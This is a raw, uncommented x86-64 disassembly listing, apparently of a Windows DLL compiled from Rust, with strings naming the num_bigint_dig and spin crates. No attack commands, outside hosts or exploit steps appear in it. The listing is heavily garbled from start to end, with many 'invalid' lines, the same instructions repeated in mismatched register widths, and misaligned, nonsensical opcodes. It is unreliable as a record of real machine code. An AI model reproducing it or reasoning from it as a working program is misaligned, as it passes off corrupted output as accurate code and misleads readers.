movzx edx, byte [rsp + 0x3f]
shl edx, 0x10
movzx eax, word [rsp + 0x3d]
or eax, edx
mov bpl, byte [rsp + 0x40]
movzx edx, word [rsp + 0x41]
mov word [rsp + 0x30], dx
mov dl, byte [rsp + 0x43]
mov byte [rsp + 0x32], dl
movups xmm0, xmmword [rsp + 0x44]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rsp + 0x54]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rsp + 0x8c], xmm0
jmp 0x18002d828
xor ecx, ecx
cmp r15b, 0x80
jne 0x18002d7bc
mov bpl, 5
jmp 0x18002d828
mov bpl, 0xd
cmp r15b, 0x84
ja 0x18002d828
and r12d, 0x7f
xor ebx, ebx
lea r14, [rsp + 0x38]
sub r12, 1
jb 0x18002d7fa
mov rcx, r14
mov rdx, rdi
call fcn.18002d227
mov ecx, dword [rsp + 0x38]
cmp ecx, 2
jne case.0x18002b3ae.99
shl ebx, 8
movzx eax, byte [rsp + 0x3c]
or ebx, eax
jmp 0x18002d7d0
cmp ebx, 0xfffffff
ja case.0x18002bf91.72
mov ecx, ebx
call case.0x18002bf91.87
xor ecx, ecx
test al, 1
je 0x18002d828
cmp dl, r15b
jne 0x18002d828
mov eax, ebx
and eax, 0xfffff00
movzx r12d, bl
jmp 0x18002d6c1
shl eax, 8
movzx edx, r15b
or byte [rcx + 0xf], al
mov dh, 0xd7
or edx, eax
cmp bpl, 0xd
std
invalid
jne 0x18002d850
std
or eax, 0x448a1975
and al, 0x2e
invalid
mov al, byte [rsp + 0x2e]
mov byte cs:[rsp + 0x36], al
mov byte [rsp + 0x36], al
and al, 0x36
movzx eax, word [rsp + 0x2c]
mov word [rsp + 0x34], ax
mov dword [rsp + 0x34], eax
sub al, 0x66
mov dword [rsp + 0x34], eax
xor ecx, ecx
leave
mov bpl, 6
mov ch, 6
jmp 0x18002d88f
mov al, byte [rsp + 0x32]
mov byte [rsp + 0x36], al
and al, 0x36
xor cl, byte [rax + 0xf362444]
mov bh, 0x44
and al, 0x30
and al, 0x36
movzx eax, word ss:[rsp + 0x30]
movzx eax, word [rsp + 0x30]
and al, 0x30
xor byte [rsi - 0x77], ah
and al, 0x34
and al, 0x34
mov word [rsp + 0x34], ax
mov dword [rsp + 0x34], eax
and al, 0x34
movaps xmm0, xmmword [rsp + 0x70]
sub byte [rsp + 0x70], al
and al, 0x70
movaps xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0xf0], xmm0
sub dword [rsp + 0xf0], eax
mov word [rax + rax*4], fs
and al, 0x80
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xf0], eax
and al, 0xf0
add byte [rax], al
invalid
lock add byte [rax], al
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x100], ecx
mov word [rax + rax], fs
add dword [rax], eax
invalid
movaps xmmword [rsp + 0x100], xmm1
mov word [rax + rax], fs
and al, 0
add byte [rcx], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rdi], cl
movups xmm0, xmmword [rsp + 0x8c]
adc byte [rsp + 0x8c], al
and al, 0x8c
add byte [rax], al
add byte [rax], al
movups xmmword [rsp + 0x10c], xmm0
mov word [rax], es
add byte [rax], al
movups xmmword [rsp + 0x10c], xmm0
test byte [rsp + rcx], ah
and al, 0xc
or al, 1
add byte [rax], al
invalid
add dword [rax], eax
add byte [rcx + 0x456890e], cl
mov dword [rsi], ecx
mov dword [rsi + 4], edx
push rsi
invalid
invalid
push rsi
add al, 0x40
mov byte [rsi + 8], bpl
mov byte [rsi + 8], ch
outsb dx, byte [rsi]
or byte [rdi], cl
movzx eax, word [rsp + 0x34]
mov bh, 0x44
and al, 0x34
and al, 0x34
xor al, 0x66
mov word [rsi + 9], ax
mov dword [rsi + 9], eax
or dword [rdx - 0x77c9dbbc], ecx
mov al, byte [rsp + 0x36]
and al, 0x36
and al, 0x36
mov byte [rsi + 0xb], al
or r9d, dword [rdi]
or ecx, dword [rdi]
movaps xmm0, xmmword [rsp + 0xf0]
sub byte [rsp + 0xf0], al
test byte [rax + rsi*8], ah
and al, 0xf0
lock add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x100], cl
mov word [rax + rax], fs
add dword [rax], eax
invalid
movaps xmm1, xmmword [rsp + 0x100]
mov word [rax + rax], fs
and al, 0
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
movups xmmword [rsi + 0xc], xmm0
adc dword [rsi + 0xc], eax
or al, 0xf
or al, 0xf
movups xmmword [rsi + 0x1c], xmm1
adc dword [rsi + 0x1c], ecx
sbb al, 0xf
adc byte [rsp + 0x10c], al
test byte [rsp + rcx], ah
add dword [rax], eax
invalid
movups xmm0, xmmword [rsp + 0x10c]
test byte [rsp + rcx], ah
or al, 1
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
movups xmmword [rsi + 0x28], xmm0
adc dword [rsi + 0x28], eax
sub byte [rax - 0x7f], r9b
sub byte [rax - 0x7f], cl
add rsp, 0x120
pop rbx
invalid
add dword [rax], eax
add byte [rbx + 0x5d], bl
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop r14
pop rsi
pop r15
pop rdi
ret
mov r15b, byte [rsp + 0x3c]
mov bpl, byte [rsp + 0x40]
mov ch, byte [rsp + 0x40]
jl case.0x18002c22f.61
cmp al, 0x40
mov ch, byte [rsp + 0x40]
and al, 0x40
movzx edx, byte [rsp + 0x3f]
mov dh, 0x54
push rsp
and al, 0x3f
invalid
shl edx, 0x10
loop case.0x18002b605.89
movzx eax, word [rsp + 0x3d]
and al, 0x3d
cmp eax, 0x7be9d009
invalid
or eax, edx
jmp 0x18002d777
jnp case.0x18003e72b.90
invalid
invalid
shr cl, 1
jnp case.0x18003e72b.90
invalid
dec dword [rcx + 0x8e8c1d8]
mov eax, ebx
shr eax, 8
or byte [rcx], dh
xor ecx, ecx
leave
mov bpl, 0xc
mov ch, 0xc
mov r15d, ebx
jmp 0x18002d828
sbb bh, bh
invalid
invalid
fucompi st(1)
sbb bh, bh
invalid
mov eax, ecx
enter 0xffffffffffff8341, 0xffffffffffffffe0
and r8d, 0xffffff80
and eax, 0xffffff80
xor byte [rax + 0x4181b201], 0x81
clc
mov al, 1
mov dl, 0x81
add dword [rcx - 0x7f], 0x80f8
invalid
add dword [rdx - 0x77ebe7f], esi
add dword [rcx - 0x7f], 0x80f8
cmp eax, 0x80
add byte [rax], 0
add byte [rax], al
add byte [rbp + rsi + 0x44], dh
lea eax, [rcx - 0x100]
invalid
add bh, bh
invalid
invalid
invalid
je case.0x18002caa7.39
xor eax, 0x818d44
lea r8d, [rcx - 0x100]
add dword [rax], 0xb2ffffff
invalid
push qword [rdx - 0x77ebe7e]
mov dl, 0x82
cmp r8d, 0xff00
cmp eax, 0xff00
invalid
cmp eax, 0xff00
add bh, bh
add byte [rax], al
jb case.0x18002caa7.39
and eax, dword [rbp + rcx*4 - 0x7f]
add byte [rax], al
invalid
lea r8d, [rcx - 0x10000]
mov dl, 0x83
add dword [rcx - 0x7f], 0xfffffff8
add byte [rax], al
inc dword [rax]
add dword [rax], 0xb2ffff00
push qword [rdx - 0x77ebe7d]
add dword [rcx - 0x7f], 0xfffffff8
add byte [rax], al
inc dword [rax]
jb case.0x18002caa7.39
adc dword [rcx + 0xc1], eax
inc dword [rcx + 0xf9]
cmp ecx, 0xf000000
add ecx, 0xff000000
cmp ecx, 0xf000000
add byte [rax], al
add byte [rdi], cl
setb al
mov dl, 0x84
ret
add dh, al
add al, 0x1f
mov byte [rcx + 8], 0x12
ret
enter 0xffffffffffff8341, 0xfffffffffffffff8
xor byte [rdi + 0x62], dh
invalid
cmp eax, 0x30
ja case.0x18002d987.6
invalid
lea r9, [0x18008276c]
movsxd r8, dword [r9 + r8*4]
add rax, 0x4634f00
add eax, 0x4634f00
or dword [rbp + 1], 0xe0ff41c8
add r8, r9
jmp r8
enter 0xffffffffffffff41, 0xffffffffffffffe0
mov byte [rcx + 4], 0
jmp 0x18002da60
int 0
add byte [rax], al
int 0
add byte [rax], al
add byte [rax], al
add dh, al
mov byte [rcx + 4], 9
mov byte [rcx + 4], 9
or ecx, ebp
jmp 0x18002da60
invalid
mov byte [rcx + 4], 0xf
jmp 0x18002da60
invalid
add byte [rax], al
invalid
mov ebx, 0xc6000000
add byte [rax], al
add dh, al
invalid
mov byte [rcx + 4], 0xc
add al, 0xc
or al, 0xe9
jmp 0x18002da60
mov dl, 0
add byte [rax], al
mov byte [rcx + 4], 0xe
jmp 0x18002da60
invalid
add byte [rax], al
invalid
test eax, 0xc6000000
add al, 0xa
mov byte [rcx + 4], 0xa
jmp 0x18002da60
mov byte [rcx + 4], 2
jmp 0x18002da60
mov byte [rcx + 4], 5
jmp 0x18002da60
mov es, word [rax]
add byte [rax], al
mov es, word [rax]
add byte [rax], al
mov byte [rcx + 4], 0xd
add al, 0xd
jmp 0x18002da60
add byte [rcx - 0x77], al
rol byte [rcx - 0x80], 1
mov r8d, edx
and r8b, 0x20
loopne case.0x18002d987.9
loopne case.0x18002d987.9
lea r9d, [rdx - 0x40]
cmp r9b, 0x3f
jae 0x18002da38
shr r8b, 5
mov byte [rcx + 4], 0x14
add al, 0x14
add al, 0x14
jmp 0x18002da59
mov byte [rcx + 4], 1
add al, 1
jmp 0x18002da60
mov byte [rcx + 4], 6
add al, 6
jmp 0x18002da60
mov byte [rcx + 4], 7
add al, 7
jmp 0x18002da60
mov byte [rcx + 4], 0x10
add al, 0x10
jmp 0x18002da60
mov byte [rcx + 4], 0x11
jmp 0x18002da60
mov byte [rcx + 4], 3
jmp 0x18002da60
mov byte [rcx + 4], 4
jmp 0x18002da60
mov byte [rcx + 4], 0xb
jmp 0x18002da60
mov byte [rcx + 4], 8
jmp 0x18002da60
mov byte [rcx + 4], 0x13
jmp 0x18002da60
mov byte [rcx + 4], 0x12
jmp 0x18002da60
cmp dl, 0xbf
jge 0x18002da47
shr r8b, 5
mov byte [rcx + 4], 0x15
jmp 0x18002da59
lea r9d, [rdx + 0x40]
cmp r9b, 0x3f
jae 0x18002da67
shr r8b, 5
mov byte [rcx + 4], 0x16
mov byte [rcx + 5], al
mov byte [rcx + 6], r8b
mov dword [rcx], 2
ret
and dword [rcx], 0
mov byte [rcx + 8], 0x14
mov byte [rcx + 9], dl
ret
mov eax, dword [rdx + 0x34]
test al, 0x10
jne 0x18002e418
test al, 0x20
je 0x18002c540
jmp 0x18002c3d0
mov ecx, dword [rcx]
jmp 0x180029ab0
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x4a2fc
mov r8d, 0x10
add rsp, 0x48
jmp rax
mov rsi, rcx
mov rcx, qword [rcx + 0x28]
sub byte [rax - 0x7d], cl
stc
invalid
jb 0x18002e809
sub byte [rax - 0x7d], cl
stc
add eax, 0x8b480672
or bl, r13b
or byte [rax - 0x77], cl
enter 0x4b9, 0
add byte [rax], al
mov rax, qword [rsi + 8]
jmp 0x18002e811
mov rax, rcx
mov ecx, 4
sub rcx, rax
cmp rcx, rdx
jae 0x18002e838
xor ecx, ecx
add rax, rdx
setae cl
mov rdx, rax
call fcn.18002e4e6
test rax, rax
je 0x18002e844
mov rcx, rsi
call fcn.18002e518
jmp 0x18002e846
movabs rax, 0x8000000000000001
jmp 0x18002e846
xor eax, eax
add rsp, 0x20
pop rsi
ret
movups xmm0, xmmword [rdx]
movaps xmmword [rsp + 0x20], xmm0
add cl, byte [rdi]
sub dword [rsp + 0x20], eax
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x30], rax
xor byte [rax - 0x75], cl
and al, 0x28
mov eax, dword [rsp + 0x28]
test rax, rax
je 0x18002e894
sal byte [rbp + rbx + 0x48], 0x8b
and al, 0x30
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x18002e92b
xor edx, edx
div rcx
cmp rdx, 1
sbb rax, 0xffffffffffffffff
cli
add dword [rax - 0x7d], ecx
fdivr st(7)
jmp 0x18002e896
xor eax, eax
mov rcx, rsi
mov rdx, rax
call fcn.18002e470
mov rbx, qword [rsi + 0x28]
cmp rbx, 4
jbe 0x18002e8b9
mov r15, qword [rsi + 8]
mov r12, qword [rsi + 0x10]
lea r14, [rsi + 8]
jmp 0x18002e8c9
lea r14, [rsi + 0x28]
lea r12, [rsi + 8]
mov r15, rbx
mov ebx, 4
lea rdi, [rsp + 0x20]
cmp r15, rbx
jae 0x18002e8ea
mov rcx, rdi
call fcn.18002e938
cmp rax, 1
jne 0x18002e91a
mov qword [r12 + r15*8], rdx
inc r15
jmp 0x18002e8ce
mov qword [r14], r15
mov rax, qword [rsp + 0x30]
lea rdi, [rsp + 0x40]
mov qword [rdi + 0x10], rax
movaps xmm0, xmmword [rsp + 0x20]
movaps xmmword [rdi], xmm0
mov rcx, rdi
call fcn.18002e938
test rax, rax
je 0x18002e91d
mov rcx, rsi
call fcn.18002e485
jmp 0x18002e903
mov qword [r14], r15
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_src_sliceiter.rsassertion_failed:_self.len_____isize::MAX_as_usize
add al, 0
call fcn.180069a10
int3
test rdx, rdx
je 0x18002e96d
sal byte [rax + rbp + 0x48], cl
mov eax, dword [rcx]
mov rax, qword [rcx]
mov r8, qword [rcx + 0x10]
cmp rdx, r8
cmovb r8, rdx
ret 0x8d4e
or al, 0x80
sub rdx, r8
sub edx, eax
ret 0x8d4e
sub edx, eax
mov qword [rcx], r9
mov qword [rcx + 8], rdx
or byte [rcx - 0x7d], cl
clc
invalid
or byte [rcx - 0x7d], cl
clc
add dword [rdi + 0xa], esi
ja 0x18002e971
ja 0x18002e971
jne 0x18002e97e
mov edx, dword [rax]
jmp 0x18002e974
xor eax, eax
jmp 0x18002e979
or byte [rax - 0x75], cl
adc byte [rax + 1], bh
mov rdx, qword [rax]
mov eax, 1
add rsp, 0x28
ret
invalid
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_biguint.rs
xor ecx, ecx
xor edx, edx
call fcn.1800697a0
add ah, cl
add ah, cl
mov rax, qword [rcx]
mov r8, qword [rcx + 0x10]
cmp rdx, r8
cmovb r8, rdx
lea r9, [rax + r8]
sub rdx, r8
mov qword [rcx], r9
or dword [rax - 0x77], ecx
push rcx
or byte [rax - 0x75], cl
sbb byte [r8 - 0x75], cl
or dword [rbx - 0x2dcec01f], eax
or dword [rax - 0x77], ecx
push rcx
or byte [rax - 0x75], cl
sbb byte [r8 - 0x75], cl
or dword [rbx - 0x2dcec01f], eax
test r8, r8
je 0x18002e9d6
shl rdx, cl
movzx r9d, byte [rax + r8 - 1]
or rdx, r9
dec r8
invalid
jmp 0x18002e9c0
mov eax, 1
ret
push rbx
sub rsp, 0x28
sub esp, 0x28
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov ebx, ecx
mov rdx, r8
call fcn.18002e470
ja 0x18002e9f1
invalid
dec dword [rax - 0x75]
sub byte [r8 - 0x7d], cl
clc
add al, 0x76
invalid
ret 0x77e8
ja 0x18002e9f1
invalid
clc
add al, 0x76
invalid
mov rdx, qword [rbx + 8]
push rbx
or byte [rbx + rcx*4 + 0x43], cl
mov r8, qword [rbx + 0x10]
lea rcx, [rbx + 8]
jmp 0x18002ea30
mov r8, qword [rbx + 0x10]
lea rcx, [rbx + 8]
jmp 0x18002ea30
lea rcx, [rbx + 0x28]
lea r8, [rbx + 8]
or byte [r8 - 0x77], cl
invalid
or byte [r8 - 0x77], cl
ret 0x4b8
invalid
invalid
mov eax, 4
jmp 0x18002ea30
sub rsi, 1
jb 0x18002ea50
mov qword [r8 + rdx*8], rdi
inc rdx
inc edx
inc edx
cmp rdx, rax
jb 0x18002ea23
out dx, al
out dx, al
mov qword [rcx], rdx
xor r14d, r14d
cmp rsi, r14
je 0x18002ea53
mov rcx, rbx
mov rdx, rdi
mov edx, edi
mov edx, edi
call fcn.18002e485
inc r14
inc esi
inc esi
jmp 0x18002ea3b
mov qword [rcx], rdx
add rsp, 0x28
pop rbx
pop rdi
sub byte [rbx + 0x5f], bl
pop rsi
pop r14
ret
shr edx, 3
call fcn.18002e470
mov rax, qword [rbx + 0x28]
cmp rax, 4
jbe 0x18002ea94
hlt
mov rdx, qword [rbx + 8]
push rbx
or byte [rbx + rcx*4 + 0x43], cl
mov r8, qword [rbx + 0x10]
invalid
invalid
mov r8, qword [rbx + 0x10]
lea rcx, [rbx + 8]
or r11b, bpl
invalid
or r11b, bpl
and eax, 0x284b8d48
lea rcx, [rbx + 0x28]
lea r8, [rbx + 8]
mov rdx, rax
mov eax, 4
add al, 0
add byte [rax], al
or byte [r8 - 0x77], cl
ret 0x4b8
invalid
add al, 0
add byte [rax], al
jmp 0x18002eab9
cmp rdi, rsi
je case.0x1800085b2.376
invalid
div dword [rsp + rbp + 0x4c]
sub al, 0x4c
mov r9, qword [rdi]
mov ecx, dword [rdi]
add rdi, 8
mov qword [r8 + rdx*8], r9
inc rdx
invalid
invalid
ret 0x3948
cmp rdx, rax
jb 0x18002eaa6
mov qword [rcx], rdx
cmp rdi, rsi
je 0x18002eada
mov rdx, qword [rdi]
mov edx, dword [rdi]
invalid
add rdi, 8
mov rcx, rbx
call fcn.18002e485
jmp 0x18002eac1
mov qword [rcx], rdx
adc dword [rax - 0x7d], ecx
invalid
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
sub esp, 0x68
mov rax, rdx
mov rcx, qword [rcx]
lea rdx, [rsp + 0x60]
mov qword [rdx], rcx
or cl, byte [rax - 0x7d]
sal dword [rax], 0x4c
lea eax, [0x180079d28]
invalid
mov dl, 4
invalid
or cl, byte [rax - 0x7d]
sal dword [rax], 0x4c
lea eax, [0x180079d28]
invalid
mov dl, 4
invalid
sub dword [rdx - 0x76b3fffc], esi
and al, 0x50
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x48], rdx
mov edx, 4
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x40
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x40
lea r8, str.data
mov qword [rsp + 0x38], r8
lea r8, [0x180079d00]
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
lea rdx, [0x180079cef]
lea r9, [0x180079cf5]
mov r8d, 6
mov rcx, rax
call fcn.1800275a0
nop
add rsp, 0x68
ret
mov eax, edx
mov rcx, qword [rcx]
lea rdx, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov qword [rdx], rcx
lea rcx, [0x180079d50]
add al, 0
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
xor byte [rax - 0x77], cl
push rsp
and al, 0x28
mov qword [rsp + 0x20], 4
and al, 0x20
add al, 0
add byte [rax], al
lea rdx, str.BigUint
lea r9, str.data
or eax, 0x4b18f
mov r8d, 7
mov rcx, rax
call fcn.1800274f0
nop
add rsp, 0x48
ret
mov r14, qword [rcx]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x18007b4cb]
mov r8d, 1
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x28], esi
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
add byte [rbp - 0x75], cl
jle 0x18002ec08
add byte [rbp - 0x75], cl
jle 0x18002ec08
cmp r15, 4
jbe 0x18002ebf0
mov r15, qword [r14 + 8]
mov edi, dword [rsi + 8]
mov r14, qword [r14 + 0x10]
jmp 0x18002ebf4
adc bl, ch
add al, 0x49
add esi, 8
add r14, 8
shl r15, 3
lea rsi, [0x18002ec46]
add ecx, dword [rax - 0x73]
xor eax, 0x47
lea rdi, [rsp + 0x28]
lea rbx, [rsp + 0x38]
cmp byte [rbp - 0x7b], cl
push qword [rbp + rbx + 0x4c]
test r15, r15
je case.0x18001a336.297
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x38], esi
add r14, 8
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
invalid
call fcn.180027380
pop rbx
xchg edi, edi
dec dword [rcx - 0x7d]
invalid
clc
jmp 0x18002ec09
invalid
pop rbx
xchg edi, edi
dec dword [rcx - 0x7d]
xbegin 0x10b4bcb18
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x28]
sub byte [rdx - 0x17cfdbac], cl
xchg dword [rax + 0x4890ffff], ecx
mov dl, byte [rsp + 0x30]
push rsp
and al, 0x30
call fcn.1800274c0
nop
add rsp, 0x40
add esp, 0x40
add esp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
xor al, 0xa8
adc byte [rbp + 0x10], dh
test al, 0x20
je 0x180020440
test al, ch
invalid
invalid
invalid
test al, ch
invalid
mov rcx, qword [rcx]
jmp 0x18002c480
jmp 0x180026fa0
pop rax
mov rsi, rcx
lea rdi, [rsp + 0x28]
lea edi, [rsp + 0x28]
lea edi, [rsp + 0x28]
and qword [rdi + 0x28], 0
lea r8, [rdx + r8*8]
add al, 0xc2
and qword [rdi], 0
mov rcx, rdi
mov ecx, edi
add byte [rax - 0x77], cl
stc
mov ecx, edi
call fcn.18002ea5d
movups xmm0, xmmword [rdi]
invalid
dec dword [rdi]
adc byte [rdi], al
movups xmm1, xmmword [rdi + 0x10]
adc byte [rdi + 0x10], cl
movups xmm2, xmmword [rdi + 0x20]
movups xmmword [rsi + 0x20], xmm2
push rdi
and byte [rdi], cl
adc dword [rsi + 0x20], edx
and byte [rdi], cl
adc dword [rsi + 0x10], ecx
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x58
add esp, 0x58
pop rax
pop rdi
pop rsi
ret
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
test rdx, rdx
je 0x18002ed9b
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
shl rdi, 3
lea r14, [r8 + 0x110]
lea esi, [rax + 0x110]
retf
lea esi, [rax + 0x110]
xor r12d, r12d
in al, 0x49
mov r15, rdi
mov edi, edi
sub r15, r12
jbe 0x18002ed9b
invalid
mov r13, qword [rsi + 0x100]
mov r13, qword [rsi + 0x100]
cmp r13, 0x40
jb 0x18002ed74
std
jb 0x18002ed74
mov rcx, r14
int1
mov rdx, rsi
call fcn.18003966f
add byte [rax - 0x7d], cl
cmpsb byte [rsi], byte [rdi]
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
cmpsb byte [rsi], byte [rdi]
add byte [rcx], al
add byte [rax], al
and dword [rsi + 0x100], 0
add byte [rbp + 0x31], al
in eax, dx
xor r13d, r13d
lea rcx, [rsi + r13*4]
mov edx, 0x40
sub rdx, r13
add byte [rax], al
add byte [rcx + rbp - 0x16], cl
lea r8, [rbx + r12]
mov r9, r15
call case.0x18002bf91.124
ja case.0x18002bf91.115
add byte [rax], al
ja case.0x18002bf91.115
add byte [rax], al
add rax, r13
mov qword [rsi + 0x100], rax
add r12, rdx
invalid
jmp 0x18002ed49
invalid
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
sub cl, ch
pushfq
lahf
add eax, dword [rax]
mov r8, qword [rsp + 0x50]
mov rcx, rax
mov rdx, r9
call fcn.180069d20
scasd eax, dword [rdi]
add eax, dword [rax]
scasd eax, dword [rdi]
add eax, dword [rax]
int3
push rdi
sub rsp, 0x58
mov rsi, rcx
lea rdi, [rsp + 0x28]
mov rcx, rdi
call fcn.18002ee42
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x58
pop rdi
pop rsi
ret
add dword [rax], eax
add byte [rax], al
ret
loopne 0x18002ee37
mov edx, 8
add byte [rax], al
add byte [rax - 0x77], cl
shr ecx, 0x97
test eax, 0x56c3fffd
push rsi
mov rcx, rax
jmp fcn.1800097d8
push rdi
sub rsp, 0x88
add byte [rax], al
add byte [rax - 0x73], cl
je 0x18002ee73
pop rax
add byte [rax], al
add byte [rax - 0x73], cl
je 0x18002ee73
pop rax
and qword [rsi + 0x28], 0
mov rdi, rcx
and qword [rsi], 0
add byte es:[rax - 0x77], cl
int1
add byte es:[rax - 0x77], cl
int1
call fcn.18002e485
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
lea rdx, [rsp + 0x20]
and esi, esi
invalid
and al, 0x20
and byte [rdi], cl
sub dword [rdx + 0x20], edx
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
mov rcx, rdi
call fcn.180002894
nop
add rsp, 0x88
pop rdi
pop rsi
ret
rol dword [0x1408836a2], 0x75
pop rcx
test eax, eax
jne 0x18002eefc
mov ecx, 1
xor eax, eax
lock cmpxchg qword [0x18008b030], rcx
cmpxchg qword [0x18008b030], rcx
cmpxchg qword [0x18008b030], rcx
jge 0x18002ee72
add eax, 0x48477500
lea esi, [rsp + 0x20]
jne 0x18002eefc
lea rsi, [rsp + 0x20]
mov rcx, rsi
mov ecx, esi
call fcn.18002ef55
lea rcx, section..data
lea ecx, section..data
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x5c137
lea ecx, section..data
call fcn.180032a0d
movups xmm0, xmmword [rsi]
adc byte [rsi], al
cmp eax, dword [rax]
add byte [rdi], cl
adc byte [rsi], al
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
adc byte [rdi], r9b
adc byte [rsi + 0x20], dl
movups xmmword [0x18008b020], xmm2
adc eax, 0x5c140
add byte [rdi], cl
movups xmmword [0x18008b010], xmm1
adc dword [0x18008b010], ecx
sub ecx, eax
add eax, 0x5110f00
adc al, cl
invalid
add eax, 0x2b800
add al, byte [rax]
movups xmmword [section..data], xmm0
mov eax, 2
add al, byte [rax]
add byte [rax], al
rol dword [0x18005a6f2], 0
add byte [rax - 0x79], cl
xchg qword [0x18008b030], rax
add al, byte [rax]
add byte [rax], al
xchg qword [0x18008b030], rax
jmp 0x18002ef1e
and cl, byte [rax - 0x73]
or eax, 0x5392d
invalid
invalid
invalid
invalid
lea rcx, [0x180082830]
sub eax, 0x48000539
invalid
cmp dword [0x184663706], eax
add eax, 0x4634800
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
or dword [rax + 1], 0xf3e0ffc8
loopne 0x18002ef00
pause
nop
mov rax, qword [0x18008b030]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
sbb eax, ecx
add eax, 0x4634800
or dword [rax + 1], 0x48e0ffc8
enter 0xffffffffffffe0ff, 0x48
enter 0xffffffffffffe0ff, 0x48
add rsp, 0x50
add esp, 0x50
pop rsi
ret
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_spin_0.5.2_srconce.rs
mov edx, 0x28
sub byte [rax], al
add byte [rax], al
sub byte [rax], al
add byte [rax], al
call fcn.180069820
lea rcx, str.Once_has_panicked
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_spin_0.5.2_srconce.rs
mov edx, 0x11
call fcn.180069820
int3
mov esi, ecx
mov ecx, 4
mov edx, 4
xor r8d, r8d
call fcn.18002efcb
add byte [rax], al
add byte [rax], al
test rax, rax
je 0x18002ef9e
mov dword [rax], 1
mov ecx, 1
add byte [rax], al
add byte [rcx + 1], bh
lea rdx, [rsp + 0x28]
mov qword [rdx], rcx
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rcx
mov rcx, rsi
call fcn.1800029c5
nop
add rsp, 0x40
pop rsi
ret
mov ecx, 4
mov edx, 4
call fcn.180069620
int3
mov eax, ecx
shl r8, 2
mov edx, 4
mov rcx, rax
jmp fcn.1800097d8
invalid
inc ebx
mov rax, rcx
test rdx, rdx
je 0x18002eff8
test r8b, r8b
je 0x18002efed
invalid
or eax, 0x48f18948
mov edx, eax
mov rcx, rsi
mov rdx, rax
call fcn.18001b9a0
jmp 0x18002eff8
mov rcx, rax
mov rdx, rsi
mov edx, esi
mov edx, esi
call fcn.180008f12
mov rdx, rsi
add rsp, 0x20
pop rsi
ret
ror byte [rdi], 0x85
mov dword [rax], eax
add byte [rax], al
mov ecx, 1
xor eax, eax
lock cmpxchg qword [0x18008b068], rcx
jne 0x18002f0a3
lea rsi, [rsp + 0x58]
mov edi, 2
mov edx, 2
mov rcx, rsi
call fcn.18002eddb
cmp dword [rsi], 2
je 0x18002f0ff
movups xmm0, xmmword [rsp + 0x58]
movups xmm1, xmmword [rsp + 0x68]
movups xmm2, xmmword [rsp + 0x78]
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [0x18008b038]
call fcn.180032a0d
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movaps xmm2, xmmword [rsp + 0x40]
movups xmmword [0x18008b058], xmm2
movups xmmword [0x18008b048], xmm1
movups xmmword [0x18008b038], xmm0
xchg qword [0x18008b068], rdi
jmp case.0x18002f0c3.2
lea rcx, [0x180082840]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
pause
mov rax, qword [0x18008b068]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
